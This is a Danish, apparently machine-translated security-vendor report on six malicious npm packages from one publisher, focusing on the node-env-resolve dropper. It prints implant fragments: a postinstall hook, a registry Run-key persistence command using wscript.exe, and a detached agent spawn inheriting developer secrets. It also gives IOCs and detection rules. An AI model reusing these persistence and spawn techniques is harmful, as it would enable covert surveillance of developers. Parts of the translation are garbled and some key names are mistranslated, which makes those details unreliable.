TL; DR
Mellem 1. april og 3. maj 2026, en enkelt npm-udgiver, user0001, registreret med den ubekræftede Gmail-adresse tanvisoul9@gmail.com, fremførte stille og roligt seks pakker med bevidst intetsigende, infrastruktur-klingende navne: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeog node-env-resolve.
De to seneste versioner af node-env-resolve, 1.0.7 og 1.0.8, blev markeret af Xygenis Malware Early Warning (MEW)-system den 2. maj og bekræftet som skadelige den 3. maj.
Implantatet er usædvanligt for hvad det ikke er: der er ingen Telegram-bots, ingen OAST-tilbagekald, ingen tilsløring, og intet forsøg på at få fat i AWS-legitimationsoplysninger under installationen. I stedet, postinstall.js planter en Windows boot-persistence-post ved hjælp af en HKCU Run-nøgle, der starter wscript.exe mod en VBS-stub. Derefter genererer den en frakoblet Node.js-agent, der samler moduler til mikrofonoptagelse, tyveri af browserhistorik, skærmbilleder og simulering af mus/tastatur.
Vi kalder denne klynge DevTap, efter at sættet kører på en udviklers maskine.
Alle seks pakker var live på npm på tidspunktet for skrivningen. Vi har indsendt dem til registrets misbrugskanal. Forsvarere bør trække alle installationer fra udgiveren, mens de afventer fjernelse.
Klyngen: Seks pakker, én udgiver
Udgiverkontoen user0001 er ubekræftet. Den har ingen SCM verifikation, ingen domænebunden e-mail og ingen tidligere historik. Gmail-handlen tanvisoul9 optræder ikke i nogen anden npm-udgiverpost, vi kunne finde.
Alle seks pakker viser den samme vedligeholder, blev udgivet fra den samme konto og deler det samme package.json standardtekst. Der er ingen repository, nr homepage, og nej description længere end en enkelt linje.
Navngivningsstrategien er den interessante del. I modsætning til en klassisk afhængighedsforvirrings- eller typosquat-kampagne er ingen af disse navne rettet mod et specifikt upstream-bibliotek. I stedet er de kalibreret til at forsvinde ind i et reelt package.json or npm ls udgang.
| Pakke | Første udgivet | Nyeste version | versioner | Rolle i klyngen |
|---|---|---|---|---|
| centrallogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, fra 1.0.5 til 1.0.9 | Clusters "logningsværktøj"-omslag; tidligste udgivelse |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generisk DOM-hjælperomslag |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Efterligner node-fetch-familien |
| forbindelsesagent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generisk navn "agent" |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Efterligner værktøjer til opbygning af native moduler |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, fra 1.0.0 til 1.0.9 | Aktiv dropper; fuldt implantat |
Navne som centralogger, node-fetch-liteog node-gyp-runtime er designet til at se ukontroversielle ud i kodegennemgang. De lyder som ting, der allerede ville være i et projekts afhængighedstræ.
Kombineret med en frisk, ubekræftet udgiver og manglende links til repositories danner de et genkendeligt mønster: en aktør, der sår lavfriktionsnavne i registreringsdatabasen og derefter hurtigt itererer på det, der betyder noget. I dette tilfælde, node-env-resolve modtog ti versioner på otte dage.
Hvad lander på en Windows Dev Box
Den ondsindede kæde på node-env-resolve:1.0.8 er kort, direkte og usædvanligt funktionsrig for en npm RAT.
Efterinstallation: Persistens og afmonteret agent
package.json deklarerer en enkelt installationshook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js gør tre ting i rækkefølge.
Først placerer den en installationsmappe uden for npm-træet. Stien beregnes under kørsel i scriptet som INSTALL_DIRSå kører den en intern execSync('npm install --production --silent ...') indeni for at hente implantatets runtime-afhængigheder. Dette placerer agenten på disk et sted i en manual node_modules revisionen vil ikke finde.
For det andet skriver den en VBS-launcher og registrerer den til boot persistens:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe er Windows Script Host, en signeret Microsoft-binærfil, der kører .vbs filer uden et konsolvindue. Det er forudindstilletcishvorfor det er foretrukket til autorun stubs.
Der er også en matchende reg delete sti indeni src/index.js, hvilket antyder, at implantatet er designet til at kunne fjernes let på operatørens kommando.
For det tredje starter det en løsrevet underproces:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })To detaljer er vigtige her.
SERVER_URL læses fra miljøet. Som et resultat kan C2-slutpunktet konfigureres pr. implementering og er ikke indbygget i pakken. Dette lille, men bevidste valg modvirker de fleste statiske IOC-sweeps.
Det genererede barn arver også hele forældremiljøet. Derfor enhver NPM_TOKEN, AWS_*, GITHUB_TOKEN, eller SSH-agent-socketen, der er til stede i udviklershellen ved installation, rejser til den langlivede agents hukommelse.
Hvad agenten sender med
Den medfølgende src/ træet indeholder tre moduler, hvis navne alene fortæller historien: audioCapture.js, browserHistory.jsog systemInfo.js.
Listen over kørselsafhængigheder, løst under den staging npm install, bekræfter dem.
Denne tilgang forvandler en kaotisk hændelse til en kontrolleret reaktion.
I stedet for at reagere blindt, opererer teams med klar prioritering og hurtig afhjælpning.
| Afhængighed | Hvad det er til for i denne sammenhæng |
|---|---|
| skærmbillede-skrivebord | Periodisk skærmoptagelse |
| @nøddetræ-gaffel/nødde-js | Mus- og tastaturautomatisering / inputsimulering |
| bedre-sqlite3 | Direkte læsning af Chrome-, Edge- og Firefox-historik-SQLite-databaser |
| adm-postkode | Samling af indsamlede artefakter før udtagning |
| skarp | Ændring af størrelse/komprimering af skærmbilleder og billedartefakter |
| socket.io-klient | Vedvarende tovejs C2-kanal |
| node-maskine-id | Stabilt fingeraftryk pr. vært til sporing af offer |
systemInfo.js opkald os.networkInterfaces() til yderligere fingeraftryk før den første beacon.
Hvorfor lydoptagelsen er det fremragende signal
De fleste npm RAT'er, vi triagerer i MEW, stopper ved hemmeligt tyveri under installationen. De læser. ~/.npmrc, Læs ~/.aws/credentials, skrabe process.env, POST til en webhook, og afslut. Det passer til en "smash-and-grab" økonomisk model. Legitimationsoplysninger har en kort halveringstid, og angriberen skal tjene penge hurtigt.
node-env-resolve er forskellig i form.
Persistensen er konfigureret til at overleve genstart. Agenten kører uafhængigt af hinanden og har lang levetid under wscript.exeSættet, den indeholder, er til at være der på en udviklers maskine, ikke til at gribe og efterlade: en mikrofonoptager, en tastatur-/musdriver, fuld browserhistorikindtagelse, skærmbillede og en interaktiv Socket.IO-kanal tilbage til en konfigurerbar C2.
Især mikrofonoptagelse er den linje, som denne kampagne krydser, hvilket de fleste npm-malware ikke gør.
En udviklerarbejdsstation er i stigende grad også den arbejdsstation, hvor udviklere tager stand-ups, kundeopkald, designdiskussioner og vagtsamtaler. Et implantat, der optager mikrofonen, er ikke rigtigt ude efter udviklerens npm-token. Det er ude efter, hvad udvikleren siger foran den bærbare computer.
Disse funktioner, plus manglen på tilsløring og fraværet af prangende eksfiltrering under installationen, læses som forudpositionering med henblik på målrettet adgang snarere end opportunistisk tyveri af legitimationsoplysninger.
Vi hævder ikke udelukkende at kunne tilskrive dette. Vi bemærker den operationelle profil.

Den otte dages iterationskadence på node-env-resolve er den mest operationelt sigende detalje i tidslinjen.
Dette er ikke en drop, hvor man bare kan affyre og glemme det. Udgiveren vedligeholder aktivt dropperen, hvilket normalt betyder en af to ting. Enten justerer de den mod testmiljøer før en bredere implementering, eller også har de allerede installeret telemetri, der kommer tilbage og reagerer på den.
De andre fem pakker oplevede reelt ingen churn efter deres første udgivelse. Det passer til et "fase én gang, lad navnet stå"-mønster for den understøttende klynge, mens den tekniske indsats fokuserer på den pakke, der udfører arbejdet.
Attribution: Små spor, ingen fast dom
offentlige OSINT Signalerne er tynde, og vi vil ikke strække dem. Hvad er observerbart:
Gmail-håndtaget tanvisoul9 ligner delvist et sydasiatisk fornavn, "Tanvi". Dette er et svagt signal. Gmail-håndtag er ikke identitet, og det efterfølgende navn soul9 er generisk. Det er ikke sikkert at udlede geografi alene fra en lokal del af en e-mail.
Kodestilen er upåfaldende i Node.js: standard biblioteksopkald som f.eks. os, child_process, spawnog reg addDer er ingen obfuskation, ingen strengrotation og ingen anti-debug-logik. Forfatteren er fortrolig med Windows-registreringsdatabaseprimitiver og orkestrering af aftagne underordnede processer, men ser ikke ud til at række ud efter mere diskrete håndværksmæssige processer, de plausibelt kunne bruge.
Afhængigheder er helt standard og velkendte: screenshot-desktop, nut-js, better-sqlite3og socket.io-clientDer er ingen brugerdefineret protokol, ingen helt nyudviklet C2-stak og intet nyt persistenstrick ud over en lærebog. HKCU Run-nøgleDette er en kompetent integrator, ikke en værktøjsforfatter.
Vi fandt ingen ikke-engelske strenge, indlejrede kommentarer, lokalitetsdata eller tidszone-fingeraftryk fra compiler-output i de publicerede artefakter.
Vi undersøgte kodeoverlap med tidligere kampagner, vi allerede sporer, herunder Shai Hulud, Owlivion, Buildkite, og den nylige heibai / claude-code-best Anthropic-CLI-klonfamilien. Vi fandt ingen: ingen delte C2-mønstre, ingen delte fillayouts og ingen delte idiomer.
Hvad vi ikke ville sige: at dette er en statslig aktør, en kendt gruppe eller geografisk knyttet til et specifikt land.
Den operationelle profil er i overensstemmelse med et lille, moderat kvalificeret team, der udfører overvågning på udvikler-arbejdsstationer. Det er sandsynligvis økonomisk motiveret gennem downstream-brug af adgangen, men muligvis også rekognoscering-som-en-service for en separat køber.
To indirekte pointer understøtter dette: undgåelse af opmærksomhedsfangende eksfiltreringsmekanismer, der ville brænde klyngen hurtigt, såsom Telegram-bots, oastify.com, eller canarytokens, og de bevidst intetsigende pakkenavne, som foretrækker stille long-tail-installationer frem for en kort stigning i høj volumen.
Indikatorer for kompromittering og detektion
| Pakker og udgiver | |
|---|---|
| Felt | Værdi |
| npm-udgiver | user0001 |
| Udgiverens e-mail | tanvisoul9@gmail.com, ubekræftet |
| Pakker | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Bekræftet skadelig | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Værtsartefakter | |
|---|---|
| Type | Værdi |
| Persistensnøgle | HKCU\Software\Microsoft\Windows\Nuværende version\Kør |
| Persistensværdi | Variabelnavn; data af formen wscript.exe " \\ .vbs" |
| Installer krog | postinstall: noden postinstall.js i pakkemanifestet |
| Implantatmoduler | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Staging-katalog | INSTALL_DIR blev løst uden for projektets node_modules; placering angivet af postinstall.js på installationstidspunktet |
| Netværk | |
|---|---|
| Type | Værdi |
| C2-transport | socket.io-klient, vedvarende tovejskanal |
| C2-slutpunkt | Leveret til agenten via SERVER_URL-miljøvariablen; ikke hardcodet til publicerede artefakter |
Detektionsnoter
To regler fanger denne familie uden behov for C2-slutpunktet.
Først skal du markere postinstall-scripts, der udfører en intern npm install til en sti uden for pakkens egen mappe. Enhver legitim præbygget downloader, såsom node-gyp genopbygger eller præbyggede binære downloadere, skriver inde i pakken eller ind i platformen-standard cache-stier med verificerede hashes. Den skriver ikke ind i en frisk oprettet INSTALL_DIR andetsteds på disken.
For det andet, markér postinstall-scripts, der udløser problemer reg add HKCU\…\Run med wscript.exe som launcher. Dette er i bund og grund aldrig legitimt fra en npm-pakke. Markér og sæt det i karantæne.
En tredje heuristik er nyttig til at finde den næste søskendepakke, før den bekræftes: en frisk npm-udgiver uden SCM verifikation, en Gmail-e-mail, nej repository felt, og flere korte, generiske, infrastruktur-klingende pakkenavne, der udgives inden for få dage af hinanden, er i sig selv nok til at berettige manuel gennemgang.
Rapporteret til npm-registret. Vi opdaterer dette indlæg, når udgiverkontoen er fjernet.






